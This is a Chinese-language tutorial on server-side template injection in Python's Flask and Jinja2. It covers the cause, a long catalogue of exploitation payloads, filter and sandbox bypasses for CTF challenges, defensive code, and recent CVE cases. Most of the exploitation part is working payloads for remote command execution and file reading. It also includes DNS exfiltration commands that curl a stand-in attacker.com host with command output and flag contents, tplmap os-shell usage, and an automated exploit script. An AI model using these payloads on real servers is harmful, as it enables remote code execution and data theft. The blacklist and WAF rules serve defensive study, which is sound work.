全面介绍 Python SSTI 漏洞的成因、利用技术及防护措施,帮助开发者深入理解并有效防范该类安全风险

Python SSTI 漏洞完全指南
15 mins

一、什么是 SSTI?h2

SSTI(Server Side Template Injection,服务器端模板注入) 是一种Web安全漏洞,攻击者通过向模板引擎注入恶意代码,使服务器端执行非预期的操作。

模板引擎在Web开发中用于将用户界面和业务数据分离,使逻辑代码和业务代码分离,提高代码复用性和开发效率。服务器端使用模板引擎对数据进行渲染,再传递给用户,可以针对特定用户/特定参数生成相应的页面。

二、Python Flask 和 Jinja2 基础h2

Flask 框架简介h3

Flask 是 Python 中的轻量级Web应用框架,使用 Jinja2 作为模板引擎。

Flask 快速搭建h4

Bash

# 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask

基础示例代码h4

Python

from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run()

Jinja2 模板语法h3

Jinja2 支持以下语法进行数据渲染:

  • ​**{{}}**​:将花括号内的内容作为表达式执行并返回结果

Python

{{3*4}} # 会被解析为12
  • ​**{%%}**​:用于声明变量或条件/循环语句

Python

{% set s = 'Tuzk1' %} # 声明变量
{% if var is true %}Tuzk1{%endif%} # 条件语句
{% for i in range(3) %}Tuzk1{%endfor%} # 循环语句
  • ​**{##}**​:注释

三、SSTI 漏洞成因h2

漏洞产生原理h3

SSTI 漏洞的根本原因是:​服务器端将用户可控的输入直接拼接到模板中进行渲染​,导致恶意代码被执行。

代码对比分析h3

存在漏洞的代码h4

Python

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将拼接后的字符串作为模板进行渲染
return render_template_string(t)
app.run()

当传入 {{10-1}} 作为参数时,表达式会被执行,这就是 SSTI 漏洞的特征。

安全的代码h4

Python

from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
# 先渲染模板,再拼接字符串
return render_template('index.html', name=name)
app.run()

关键区别​:render_template 会对字符串进行​自动转义​,而 render_template_string 不会自动转义用户拼接的内容。

四、漏洞利用技术h2

利用思路h3

基本的 RCE(远程代码执行)利用思路:

  1. 找一个内置类(如 []""
  2. 通过该类获取到 object
  3. 通过 object 类获取所有子类
  4. 在子类列表中找到可利用的类
  5. 调用类下面的函数或使用该类空间下的其他模块

常用魔术方法h3

魔术方法作用
__class__返回对象所属的类
__base__获取类的直接父类
__bases__获取父类的元组
__mro__返回类的调用顺序
__subclasses__返回所有子类列表
__globals__获取函数所属空间下的模块、方法及变量
__builtins__返回Python内置函数
__import__用于导入模块

寻找可利用类h3

Python

# 获取对象所属的类
''.__class__ # <class 'str'>
# 获取父类
''.__class__.__base__ # <class 'object'>
# 获取所有子类
''.__class__.__base__.__subclasses__()

可利用的类包括:

  • linecache
  • os._wrap_close
  • subprocess.Popen
  • warnings.catch_warnings

常见 Payload 构造h3

RCE 执行命令h4

Python

# 利用 warnings.catch_warnings 配合 __builtins__ 得到 eval 函数
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
# 利用 os._wrap_close 类
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
# 利用 subprocess.Popen 类
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

文件读写h4

Python

# Python2 利用 file 类读文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
# 通用文件读取
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

高级 Payload 构造技巧h3

1. 利用 attr 过滤器绕过沙箱h4

最新的 CVE-2025-27516 揭示了 Jinja2 沙箱的一个重要绕过技术:^7^^8^

Python

# 传统沙箱会拦截 str.format 调用
# 但可以使用 |attr 过滤器获取 format 方法的引用
{{ ''|attr('format')('Hello {}', 'World') }}
# 利用 attr 绕过沙箱执行命令
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('whoami')|attr('read')() }}

2. 利用 format 方法的高级技巧h4

CVE-2024-56326 展示了存储恶意字符串 format 方法引用的技术:^3^

Python

# 存储恶意 format 方法引用
{% set evil = '{0.__init__.__globals__[__builtins__][__import__]("os").system("whoami")}'.__format__ %}
# 通过过滤器调用
{{ evil(''.__class__.__base__.__subclasses__()[128]) }}

3. 文件名和内容双重控制利用h4

CVE-2024-56201 揭示了当攻击者同时控制模板内容和文件名时的利用方式:^2^

Python

# 通过控制文件名注入代码
# 文件名: ../../../{{7*7}}.html
# 内容: 恶意模板代码
{% include request.args.file %} # 可导致任意代码执行

混淆和编码技巧h3

1. 字符串拼接混淆h4

Python

# 使用波浪号(~)连接字符串
{% set a = 'po' %}
{% set b = 'pen' %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__[a~b]('whoami').read() }}
# 使用 join 拼接
{% set cmd = ['ca','t',' ','/f','lag']|join %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}

2. 字符编码绕过h4

Python

# 十六进制编码
{% set cmd = '\x77\x68\x6f\x61\x6d\x69' %} # whoami
# 八进制编码
{% set cmd = '\167\150\157\141\155\151' %} # whoami
# Unicode 编码绕过关键字检测
{{ ''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'] }} # __class__

3. 数字和字符转换h4

Python

# 使用 chr 函数构造字符串
{% set chr = ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{% set cmd = chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105) %} # whoami
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}

深度绕过技术h3

1. 利用 lipsum 对象h4

Python

# lipsum 是 Jinja2 内置的生成假文本的函数
# 可以通过它获取 __globals__
{{ lipsum.__globals__['os'].popen('whoami').read() }}
{{ lipsum.__globals__.__builtins__.open('/etc/passwd').read() }}

2. 利用 cycler 对象h4

Python

# cycler 用于循环迭代
{{ cycler.__init__.__globals__.os.popen('whoami').read() }}
{{ cycler.__init__.__globals__.__builtins__.eval("__import__('os').system('whoami')") }}

3. 利用 joiner 对象h4

Python

# joiner 用于连接字符串
{{ joiner.__init__.__globals__.os.popen('whoami').read() }}

沙箱逃逸技术h3

1. 利用内置过滤器h4

Python

# 利用 map 过滤器
{{ ''.__class__.__base__.__subclasses__()|map(attribute='__init__')|map(attribute='__globals__')|list|map(attribute='popen')|list }}
# 利用 select 和 reject 过滤器
{{ ().__class__.__base__.__subclasses__()|select('equalto', 'Popen')|list }}

2. 利用 namespace 对象h4

Python

# 创建命名空间对象绕过限制
{% set ns = namespace(a='__cla', b='ss__') %}
{{ ''|attr(ns.a~ns.b) }} # 等同于 ''.__class__

3. 利用 with 语句h4

Python

# 使用 with 语句创建上下文
{% with %}
{% set cmd = 'whoami' %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}
{% endwith %}

盲注和外带技术h3

1. 基于时间的盲注h4

Python

# 使用 sleep 延迟
{% if ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('sleep 5').read() %}{% endif %}
# 条件判断配合延迟
{% if config.SECRET_KEY[0] == 'a' %}
{% for i in range(10000000) %}{% endfor %}
{% endif %}

2. DNS 外带h4

Python

# 将数据通过 DNS 请求外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://$(whoami).attacker.com/').read() }}
# Base64 编码外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://attacker.com/$(cat /flag | base64 -w0)').read() }}

3. 错误信息外带h4

Python

# 触发错误显示敏感信息
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('1/0') }}
# 利用异常信息
{{ undefined.variable[config.SECRET_KEY] }}

特殊环境下的利用h3

1. Docker 环境利用h4

根据 ​CVE-2025-23211​,在 Docker Compose 环境中可能以 root 权限执行:^1^

Python

# 检测是否在容器中
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('cat /proc/1/cgroup').read() }}
# 容器逃逸尝试
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('fdisk -l').read() }}

2. 受限环境突破h4

Python

# 当 __builtins__ 被删除时
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

五、CTF 中的绕过技巧h2

过滤单双引号h3

Python

# 通过 request 传参绕过
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
# 使用 chr 函数拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

过滤中括号h3

Python

# 使用 __getitem__() 和 pop() 绕过
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

过滤双下划线h3

Python

# request 传参绕过
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}
&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤双花括号h3

Python

# 使用 {% print %} 绕过
{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}

综合绕过示例h3

过滤引号、中括号、下划线、花括号的情况:

Python

# 使用 getlist 和 attr 组合绕过
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}
&l1=a&a=_&a=_&a=class&a=_&a=_
&l2=b&b=_&b=_&b=base&b=_&b=_
&l3=c&c=_&c=_&c=subclasses&c=_&c=_
&l4=d&d=_&d=_&d=getitem&d=_&d=_
&l5=e&e=_&e=_&e=init&e=_&e=_
&l6=f&f=_&f=_&f=globals&f=_&f=_
&rce=whoami

防御绕过总结h3

过滤内容绕过方法示例
双下划线 __request 参数、attr 过滤器、编码request.args.class、`
中括号 []__getitem__()pop().__getitem__(0)
引号request 参数、chr 函数request.values.cmd
花括号 {{{% print %}{%print(payload)%}
关键字拼接、编码、混淆字符串连接、hex/unicode 编码
点号 .`attr()` 过滤器

六、防御措施h2

1. 代码层面防御h3

安全的模板渲染实践

Python

# 使用沙箱环境
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment
# 创建沙箱环境
env = SandboxedEnvironment(
loader=FileSystemLoader('templates'),
autoescape=select_autoescape(['html', 'xml'])
)
# 禁用危险函数
env.globals = {}
env.filters = {}

2. 输入验证增强h3

Python

import re
def validate_template_input(user_input):
# 黑名单过滤
blacklist = [
'__class__', '__base__', '__subclasses__',
'__globals__', '__import__', 'eval', 'exec',
'os', 'subprocess', 'open', 'file'
]
for keyword in blacklist:
if keyword in user_input:
raise ValueError(f"Forbidden keyword: {keyword}")
# 正则表达式检测
dangerous_patterns = [
r'\{\{.*\}\}', # Jinja2 表达式
r'\{%.*%\}', # Jinja2 语句
r'__\w+__', # 双下划线方法
]
for pattern in dangerous_patterns:
if re.search(pattern, user_input):
raise ValueError("Potentially dangerous pattern detected")
return user_input

3. WAF 规则配置h3

Plaintext

# Nginx WAF 规则示例
location / {
# 检测 SSTI 特征
if ($args ~* "(__class__|__base__|__subclasses__|__import__|eval|exec)") {
return 403;
}
if ($request_body ~* "(\{\{|\{%|__\w+__)") {
return 403;
}
}

4. 深度防御策略h3

  1. 避免直接拼接用户输入​:先渲染模板,再处理用户输入
  2. 使用安全的渲染函数​:使用 render_template 而非 render_template_string
  3. 输入验证和过滤​:对用户输入进行严格的验证和过滤
  4. 最小权限原则​:限制模板引擎的执行权限
  5. 使用沙箱环境​:在受限的环境中执行模板渲染

七、真实世界的 SSTI 漏洞案例h2

近期 CVE 漏洞h3

以下是一些真实存在的 SSTI 漏洞案例,展示了该漏洞在实际应用中的危害:

CVE-2025-49619 - Skyvern SSTI 漏洞^13^^12^

  • 影响版本:Skyvern 0.1.85 及之前版本
  • 漏洞位置:工作流块(如 Navigation v2 Block)的 Prompt 字段
  • 危害:攻击者可通过注入恶意模板代码执行任意命令

CVE-2025-25362 - Spacy-LLM SSTI 漏洞^5^

  • 影响版本:Spacy-LLM v0.7.2
  • 漏洞原理:模板字段未正确过滤用户输入
  • 利用方式:通过注入精心构造的 payload 到模板字段实现任意代码执行

CVE-2024-22722 - Form Tools SSTI 漏洞^4^

  • 影响版本:Form Tools 3.1.1
  • 漏洞位置:添加表单部分的 Group Name 字段
  • 危害:允许攻击者运行任意命令

CVE-2024-32651 - changedetection.io SSTI 漏洞^11^^6^

  • 影响组件:changedetection.io
  • 漏洞类型:Jinja2 中的服务器端模板注入
  • 危害:允许远程命令执行,攻击者可以运行任何系统命令并使用反向shell

八、其他模板引擎的 SSTIh2

虽然本文主要讨论 Python 的 Jinja2,但 SSTI 漏洞广泛存在于各种模板引擎中:

Twig 模板引擎(PHP)h3

Twig 是 PHP 中常用的模板引擎,在 WordPress 插件中经常出现 SSTI 漏洞:^9^^10^

  • WPML 插件漏洞​:影响超过百万 WordPress 网站,由于未正确清理输入导致 SSTI
  • 漏洞原理:插件使用 Twig 模板渲染短代码内容,但未能正确清理输入

跨语言 SSTI 检测方法h3

Python

# 通用检测 payload(适用于多种模板引擎)
{{7*7}} # 预期输出:49
${7*7} # 预期输出:49
<%= 7*7 %> # 预期输出:49
${{7*7}} # 预期输出:49
#{7*7} # 预期输出:49

九、高级利用技术h2

自动化利用工具h3

tplmap - 自动化 SSTI 检测和利用工具

Bash

# 安装
git clone https://github.com/epinna/tplmap
cd tplmap
# 基本使用
python tplmap.py -u "http://target.com/page?name=*"
# 指定模板引擎
python tplmap.py -u "http://target.com/page?name=*" -e Jinja2
# 执行系统命令
python tplmap.py -u "http://target.com/page?name=*" --os-shell

自动化利用脚本h3

Python

#!/usr/bin/env python3
# SSTI 自动化利用脚本
import requests
import sys
class SSTIExploiter:
def __init__(self, url):
self.url = url
self.payloads = {
'basic': "{{7*7}}",
'rce': "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('COMMAND').read()}}",
'lipsum': "{{lipsum.__globals__['os'].popen('COMMAND').read()}}",
'attr': "{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('COMMAND')|attr('read')()}}",
}
def test_vulnerability(self):
"""测试是否存在 SSTI 漏洞"""
test_payload = self.payloads['basic']
response = requests.get(self.url, params={'input': test_payload})
if '49' in response.text:
print("[+] SSTI vulnerability detected!")
return True
return False
def execute_command(self, command, method='rce'):
"""执行系统命令"""
payload = self.payloads[method].replace('COMMAND', command)
response = requests.get(self.url, params={'input': payload})
return response.text
def find_subclass_index(self, class_name):
"""查找特定子类的索引"""
payload = "{{''.__class__.__base__.__subclasses__()}}"
response = requests.get(self.url, params={'input': payload})
# 解析响应找到目标类的索引
if class_name in response.text:
# 实现索引查找逻辑
pass
if __name__ == "__main__":
exploiter = SSTIExploiter(sys.argv[1])
if exploiter.test_vulnerability():
result = exploiter.execute_command('id')
print(result)

十、漏洞挖掘方法论h2

1. 黑盒测试流程h3

  1. 识别模板引擎
    • 发送数学表达式:{{7*7}}${7*7}
    • 发送错误触发 payload:{{7*'7'}}
    • 观察错误信息判断引擎类型
  2. 确认漏洞存在
    • 测试基础运算
    • 测试字符串操作
    • 测试函数调用
  3. 逐步提升权限
    • 获取类和方法
    • 寻找危险函数
    • 构造 RCE payload

2. 代码审计要点h3

重点关注以下代码模式:

  • render_template_string() 的使用
  • 用户输入直接拼接到模板
  • 动态模板生成
  • 自定义模板过滤器和函数

总结h2

Python SSTI 漏洞是 CTF 比赛中的常见题型,理解其原理和利用方法对于网络安全学习至关重要。掌握各种绕过技巧能够帮助在实战中灵活应对不同的过滤规则。同时,了解这些攻击手法也有助于在开发中避免此类安全问题。

这些高级技术展示了 SSTI 漏洞利用的复杂性和多样性,同时也强调了在开发中实施多层防御的重要性。通过深入理解 SSTI 的原理、利用技术和防御措施,我们可以更好地保护 Web 应用免受此类攻击。